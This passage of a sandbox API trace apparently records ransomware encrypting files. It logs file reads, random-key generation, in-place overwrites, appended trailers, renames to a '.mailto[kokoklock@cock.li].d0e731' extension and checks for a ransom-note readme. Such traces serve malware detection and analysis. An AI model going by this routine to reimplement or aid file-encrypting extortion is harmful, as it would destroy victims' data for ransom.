_Dest="C:\\588bce7c90097ed212\\ParameterInfo.xml.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\ParameterInfo.xml.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0165.504] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\ParameterInfo.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\parameterinfo.xml.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\588bce7c90097ed212\\ParameterInfo.xml.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\parameterinfo.xml.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0165.505] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\ParameterInfo.xml.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 1 [0165.505] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f97138) returned 1 [0165.505] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\ParameterInfo.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 0 [0165.505] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x52) returned 0x2f6c090 [0165.505] wcscpy (in: _Dest=0x2f6c090, _Source="C:\\588bce7c90097ed212\\" | out: _Dest="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\" [0165.505] wcscat (in: _Dest=0x2f6c090, _Source="D0E731-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\D0E731-Readme.txt") returned="C:\\588bce7c90097ed212\\D0E731-Readme.txt" [0165.505] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\D0E731-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\d0e731-readme.txt")) returned 0x20 [0165.505] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6c090) returned 1 [0165.505] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f9c520) returned 1 [0165.505] RtlExitUserThread (Status=0x1) Thread: id = 1584 os_tid = 0xf9c [0165.507] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Setup.exe.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\setup.exe.mailto[kokoklock@cock.li].d0e731")) returned 0x80 [0165.507] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Setup.exe.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0165.507] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Setup.exe.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\setup.exe.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c8 [0165.508] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x87ef7a4 | out: lpFileSize=0x87ef7a4*=78344) returned 1 [0165.508] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x13204, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.508] ReadFile (in: hFile=0x5c8, lpBuffer=0x87ef778, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x87ef774, lpOverlapped=0x0 | out: lpBuffer=0x87ef778*, lpNumberOfBytesRead=0x87ef774*=0x4, lpOverlapped=0x0) returned 1 [0165.509] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.509] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab5f0 [0165.509] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab438 [0165.509] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab668 [0165.509] NtQuerySystemTime (in: CurrentTime=0x87ef750 | out: CurrentTime=0x87ef750*=132121213228184176) returned 0x0 [0165.509] RtlRandom (in: Seed=0x87ef75c | out: Seed=0x87ef75c) returned 0x911d33de [0165.509] RtlRandom (in: Seed=0x87ef75c | out: Seed=0x87ef75c) returned 0x5018a94e [0165.509] RtlRandom (in: Seed=0x87ef75c | out: Seed=0x87ef75c) returned 0xa3c5a815 [0165.509] RtlRandom (in: Seed=0x87ef75c | out: Seed=0x87ef75c) returned 0xc54378da [0165.509] RtlRandom (in: Seed=0x87ef75c | out: Seed=0x87ef75c) returned 0xc648dc0d [0165.509] RtlRandom (in: Seed=0x87ef75c | out: Seed=0x87ef75c) returned 0xadb07c25 [0165.509] RtlRandom (in: Seed=0x87ef75c | out: Seed=0x87ef75c) returned 0x62175a25 [0165.509] RtlRandom (in: Seed=0x87ef75c | out: Seed=0x87ef75c) returned 0x64b8e0f2 [0165.509] RtlRandom (in: Seed=0x87ef75c | out: Seed=0x87ef75c) returned 0xf942c485 [0165.509] RtlRandom (in: Seed=0x87ef75c | out: Seed=0x87ef75c) returned 0x97d3c0d4 [0165.509] RtlRandom (in: Seed=0x87ef75c | out: Seed=0x87ef75c) returned 0x7a285856 [0165.510] RtlRandom (in: Seed=0x87ef75c | out: Seed=0x87ef75c) returned 0xdc8ba011 [0165.510] RtlRandom (in: Seed=0x87ef75c | out: Seed=0x87ef75c) returned 0x723c4f41 [0165.510] RtlRandom (in: Seed=0x87ef75c | out: Seed=0x87ef75c) returned 0xcfee4d9d [0165.510] RtlRandom (in: Seed=0x87ef75c | out: Seed=0x87ef75c) returned 0x13166a59 [0165.510] RtlRandom (in: Seed=0x87ef75c | out: Seed=0x87ef75c) returned 0x68214976 [0165.510] RtlRandom (in: Seed=0x87ef75c | out: Seed=0x87ef75c) returned 0xef91e789 [0165.510] RtlRandom (in: Seed=0x87ef75c | out: Seed=0x87ef75c) returned 0x2577d26c [0165.510] RtlRandom (in: Seed=0x87ef75c | out: Seed=0x87ef75c) returned 0x9d4a5903 [0165.510] RtlRandom (in: Seed=0x87ef75c | out: Seed=0x87ef75c) returned 0x3284d2f [0165.510] RtlRandom (in: Seed=0x87ef75c | out: Seed=0x87ef75c) returned 0xc01a24f0 [0165.510] RtlRandom (in: Seed=0x87ef75c | out: Seed=0x87ef75c) returned 0x418d541d [0165.510] RtlRandom (in: Seed=0x87ef75c | out: Seed=0x87ef75c) returned 0xa984f2ff [0165.510] RtlRandom (in: Seed=0x87ef75c | out: Seed=0x87ef75c) returned 0x814af0f7 [0165.510] RtlRandom (in: Seed=0x87ef75c | out: Seed=0x87ef75c) returned 0xfb152540 [0165.510] RtlRandom (in: Seed=0x87ef75c | out: Seed=0x87ef75c) returned 0x1697c8a9 [0165.510] RtlRandom (in: Seed=0x87ef75c | out: Seed=0x87ef75c) returned 0x5b9cd2c5 [0165.510] RtlRandom (in: Seed=0x87ef75c | out: Seed=0x87ef75c) returned 0xeb8893d8 [0165.510] RtlRandom (in: Seed=0x87ef75c | out: Seed=0x87ef75c) returned 0x7f1d07d2 [0165.510] RtlRandom (in: Seed=0x87ef75c | out: Seed=0x87ef75c) returned 0x5f22aa79 [0165.510] RtlRandom (in: Seed=0x87ef75c | out: Seed=0x87ef75c) returned 0x976c1917 [0165.510] RtlRandom (in: Seed=0x87ef75c | out: Seed=0x87ef75c) returned 0xd61a09fd [0165.519] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab6b8 [0165.521] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faac00 [0165.521] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab6e0 [0165.521] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faac00) returned 1 [0165.521] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab5f0) returned 1 [0165.521] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x301c1a8 [0165.521] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.521] ReadFile (in: hFile=0x5c8, lpBuffer=0x301c1a8, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x87ef728, lpOverlapped=0x0 | out: lpBuffer=0x301c1a8*, lpNumberOfBytesRead=0x87ef728*=0x4096, lpOverlapped=0x0) returned 1 [0165.524] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.524] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2fedc10 [0165.525] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faad68 [0165.525] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab5f0 [0165.525] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab5f0) returned 1 [0165.525] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x3020248 [0165.525] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab5f0 [0165.525] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab708 [0165.525] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab708) returned 1 [0165.525] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faad68) returned 1 [0165.525] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fedc10) returned 1 [0165.525] WriteFile (in: hFile=0x5c8, lpBuffer=0x3020248*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x87ef728, lpOverlapped=0x0 | out: lpBuffer=0x3020248*, lpNumberOfBytesWritten=0x87ef728*=0x4096, lpOverlapped=0x0) returned 1 [0165.526] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3020248) returned 1 [0165.526] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x13208, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.526] WriteFile (in: hFile=0x5c8, lpBuffer=0x2fab5f0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x87ef760, lpOverlapped=0x0 | out: lpBuffer=0x2fab5f0*, lpNumberOfBytesWritten=0x87ef760*=0x20, lpOverlapped=0x0) returned 1 [0165.526] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab5f0) returned 1 [0165.526] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x301c1a8) returned 1 [0165.526] WriteFile (in: hFile=0x5c8, lpBuffer=0x2fab6e0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x87ef774, lpOverlapped=0x0 | out: lpBuffer=0x2fab6e0*, lpNumberOfBytesWritten=0x87ef774*=0x8, lpOverlapped=0x0) returned 1 [0165.526] WriteFile (in: hFile=0x5c8, lpBuffer=0x87ef78c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x87ef774, lpOverlapped=0x0 | out: lpBuffer=0x87ef78c*, lpNumberOfBytesWritten=0x87ef774*=0x4, lpOverlapped=0x0) returned 1 [0165.526] WriteFile (in: hFile=0x5c8, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x87ef774, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x87ef774*=0x4, lpOverlapped=0x0) returned 1 [0165.526] WriteFile (in: hFile=0x5c8, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x87ef774, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x87ef774*=0x6c, lpOverlapped=0x0) returned 1 [0165.526] WriteFile (in: hFile=0x5c8, lpBuffer=0x2fab438*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x87ef774, lpOverlapped=0x0 | out: lpBuffer=0x2fab438*, lpNumberOfBytesWritten=0x87ef774*=0x20, lpOverlapped=0x0) returned 1 [0165.526] WriteFile (in: hFile=0x5c8, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x87ef774, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x87ef774*=0x4, lpOverlapped=0x0) returned 1 [0165.527] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab438) returned 1 [0165.527] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab6b8) returned 1 [0165.527] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab6e0) returned 1 [0165.527] CloseHandle (hObject=0x5c8) returned 1 [0165.527] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xc4) returned 0x2f88300 [0165.527] wcscpy (in: _Dest=0x2f88300, _Source="C:\\588bce7c90097ed212\\Setup.exe.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\Setup.exe.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\Setup.exe.mailto[kokoklock@cock.li].d0e731" [0165.527] wcscat (in: _Dest=0x2f88300, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\Setup.exe.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\Setup.exe.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0165.527] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\Setup.exe.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\setup.exe.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\588bce7c90097ed212\\Setup.exe.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\setup.exe.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0165.528] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Setup.exe.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 1 [0165.528] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88300) returned 1 [0165.528] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Setup.exe.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 0 [0165.528] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x52) returned 0x2f6c090 [0165.528] wcscpy (in: _Dest=0x2f6c090, _Source="C:\\588bce7c90097ed212\\" | out: _Dest="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\" [0165.528] wcscat (in: _Dest=0x2f6c090, _Source="D0E731-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\D0E731-Readme.txt") returned="C:\\588bce7c90097ed212\\D0E731-Readme.txt" [0165.528] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\D0E731-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\d0e731-readme.txt")) returned 0x20 [0165.528] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6c090) returned 1 [0165.528] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f82598) returned 1 [0165.528] RtlExitUserThread (Status=0x1) Thread: id = 1585 os_tid = 0xfa0 [0165.529] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.xsd.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\setupui.xsd.mailto[kokoklock@cock.li].d0e731")) returned 0x80 [0165.529] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.xsd.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0165.530] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.xsd.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\setupui.xsd.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c8 [0165.530] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x886faa0 | out: lpFileSize=0x886faa0*=30312) returned 1 [0165.530] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x7664, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.530] ReadFile (in: hFile=0x5c8, lpBuffer=0x886fa74, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x886fa70, lpOverlapped=0x0 | out: lpBuffer=0x886fa74*, lpNumberOfBytesRead=0x886fa70*=0x4, lpOverlapped=0x0) returned 1 [0165.531] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.531] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab5f0 [0165.531] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab438 [0165.531] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab6b8 [0165.531] NtQuerySystemTime (in: CurrentTime=0x886fa4c | out: CurrentTime=0x886fa4c*=132121213228497196) returned 0x0 [0165.531] RtlRandom (in: Seed=0x886fa58 | out: Seed=0x886fa58) returned 0x13160e2b [0165.531] RtlRandom (in: Seed=0x886fa58 | out: Seed=0x886fa58) returned 0xed1e00ec [0165.531] RtlRandom (in: Seed=0x886fa58 | out: Seed=0x886fa58) returned 0x92585a7f [0165.531] RtlRandom (in: Seed=0x886fa58 | out: Seed=0x886fa58) returned 0xc99f71b0 [0165.531] RtlRandom (in: Seed=0x886fa58 | out: Seed=0x886fa58) returned 0x262a62e4 [0165.531] RtlRandom (in: Seed=0x886fa58 | out: Seed=0x886fa58) returned 0x4b71b5c7 [0165.532] RtlRandom (in: Seed=0x886fa58 | out: Seed=0x886fa58) returned 0x9e666b2d [0165.532] RtlRandom (in: Seed=0x886fa58 | out: Seed=0x886fa58) returned 0xa7c42d94 [0165.532] RtlRandom (in: Seed=0x886fa58 | out: Seed=0x886fa58) returned 0x4732fa50 [0165.532] RtlRandom (in: Seed=0x886fa58 | out: Seed=0x886fa58) returned 0x4105bd0a [0165.532] RtlRandom (in: Seed=0x886fa58 | out: Seed=0x886fa58) returned 0x8447352f [0165.532] RtlRandom (in: Seed=0x886fa58 | out: Seed=0x886fa58) returned 0xec600425 [0165.532] RtlRandom (in: Seed=0x886fa58 | out: Seed=0x886fa58) returned 0xa1f20348 [0165.532] RtlRandom (in: Seed=0x886fa58 | out: Seed=0x886fa58) returned 0xbc2eb7a0 [0165.532] RtlRandom (in: Seed=0x886fa58 | out: Seed=0x886fa58) returned 0x4a66bbe2 [0165.532] RtlRandom (in: Seed=0x886fa58 | out: Seed=0x886fa58) returned 0xc251a4ac [0165.532] RtlRandom (in: Seed=0x886fa58 | out: Seed=0x886fa58) returned 0xde3b11a5 [0165.532] RtlRandom (in: Seed=0x886fa58 | out: Seed=0x886fa58) returned 0x1a21ffb1 [0165.532] RtlRandom (in: Seed=0x886fa58 | out: Seed=0x886fa58) returned 0xdaae2bf7 [0165.532] RtlRandom (in: Seed=0x886fa58 | out: Seed=0x886fa58) returned 0x2420b740 [0165.532] RtlRandom (in: Seed=0x886fa58 | out: Seed=0x886fa58) returned 0xa0e7af67 [0165.532] RtlRandom (in: Seed=0x886fa58 | out: Seed=0x886fa58) returned 0xbf26c16a [0165.532] RtlRandom (in: Seed=0x886fa58 | out: Seed=0x886fa58) returned 0xa10fa99e [0165.532] RtlRandom (in: Seed=0x886fa58 | out: Seed=0x886fa58) returned 0xc0494958 [0165.532] RtlRandom (in: Seed=0x886fa58 | out: Seed=0x886fa58) returned 0x5ec612c0 [0165.532] RtlRandom (in: Seed=0x886fa58 | out: Seed=0x886fa58) returned 0xfb3dfdab [0165.532] RtlRandom (in: Seed=0x886fa58 | out: Seed=0x886fa58) returned 0x845cb7b1 [0165.532] RtlRandom (in: Seed=0x886fa58 | out: Seed=0x886fa58) returned 0x4dddf63a [0165.532] RtlRandom (in: Seed=0x886fa58 | out: Seed=0x886fa58) returned 0xfd40c639 [0165.532] RtlRandom (in: Seed=0x886fa58 | out: Seed=0x886fa58) returned 0xb75d1869 [0165.532] RtlRandom (in: Seed=0x886fa58 | out: Seed=0x886fa58) returned 0x32a1fc6e [0165.532] RtlRandom (in: Seed=0x886fa58 | out: Seed=0x886fa58) returned 0xcaaa96d3 [0165.541] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab6e0 [0165.543] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faac00 [0165.543] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab708 [0165.543] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faac00) returned 1 [0165.543] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab5f0) returned 1 [0165.543] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x301c1a8 [0165.543] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.543] ReadFile (in: hFile=0x5c8, lpBuffer=0x301c1a8, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x886fa24, lpOverlapped=0x0 | out: lpBuffer=0x301c1a8*, lpNumberOfBytesRead=0x886fa24*=0x4096, lpOverlapped=0x0) returned 1 [0165.544] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.544] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2fedc10 [0165.544] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faad68 [0165.544] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab5f0 [0165.544] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab5f0) returned 1 [0165.544] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x3020248 [0165.544] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab5f0 [0165.545] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab7a8 [0165.545] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab7a8) returned 1 [0165.545] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faad68) returned 1 [0165.545] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fedc10) returned 1 [0165.545] WriteFile (in: hFile=0x5c8, lpBuffer=0x3020248*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x886fa24, lpOverlapped=0x0 | out: lpBuffer=0x3020248*, lpNumberOfBytesWritten=0x886fa24*=0x4096, lpOverlapped=0x0) returned 1 [0165.545] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3020248) returned 1 [0165.545] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x7668, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.545] WriteFile (in: hFile=0x5c8, lpBuffer=0x2fab5f0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x886fa5c, lpOverlapped=0x0 | out: lpBuffer=0x2fab5f0*, lpNumberOfBytesWritten=0x886fa5c*=0x20, lpOverlapped=0x0) returned 1 [0165.545] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab5f0) returned 1 [0165.545] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x301c1a8) returned 1 [0165.545] WriteFile (in: hFile=0x5c8, lpBuffer=0x2fab708*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x886fa70, lpOverlapped=0x0 | out: lpBuffer=0x2fab708*, lpNumberOfBytesWritten=0x886fa70*=0x8, lpOverlapped=0x0) returned 1 [0165.545] WriteFile (in: hFile=0x5c8, lpBuffer=0x886fa88*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x886fa70, lpOverlapped=0x0 | out: lpBuffer=0x886fa88*, lpNumberOfBytesWritten=0x886fa70*=0x4, lpOverlapped=0x0) returned 1 [0165.545] WriteFile (in: hFile=0x5c8, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x886fa70, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x886fa70*=0x4, lpOverlapped=0x0) returned 1 [0165.546] WriteFile (in: hFile=0x5c8, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x886fa70, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x886fa70*=0x6c, lpOverlapped=0x0) returned 1 [0165.546] WriteFile (in: hFile=0x5c8, lpBuffer=0x2fab438*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x886fa70, lpOverlapped=0x0 | out: lpBuffer=0x2fab438*, lpNumberOfBytesWritten=0x886fa70*=0x20, lpOverlapped=0x0) returned 1 [0165.546] WriteFile (in: hFile=0x5c8, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x886fa70, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x886fa70*=0x4, lpOverlapped=0x0) returned 1 [0165.546] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab438) returned 1 [0165.546] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab6e0) returned 1 [0165.546] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab708) returned 1 [0165.546] CloseHandle (hObject=0x5c8) returned 1 [0165.546] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xc8) returned 0x2f88300 [0165.546] wcscpy (in: _Dest=0x2f88300, _Source="C:\\588bce7c90097ed212\\SetupUi.xsd.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\SetupUi.xsd.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\SetupUi.xsd.mailto[kokoklock@cock.li].d0e731" [0165.546] wcscat (in: _Dest=0x2f88300, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\SetupUi.xsd.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\SetupUi.xsd.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0165.546] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\SetupUi.xsd.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\setupui.xsd.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\588bce7c90097ed212\\SetupUi.xsd.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\setupui.xsd.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0165.547] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.xsd.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 1 [0165.547] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f88300) returned 1 [0165.547] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupUi.xsd.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 0 [0165.547] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x52) returned 0x2f6c090 [0165.547] wcscpy (in: _Dest=0x2f6c090, _Source="C:\\588bce7c90097ed212\\" | out: _Dest="C:\\588bce7c90097ed212\\") returned="C:\\588bce7c90097ed212\\" 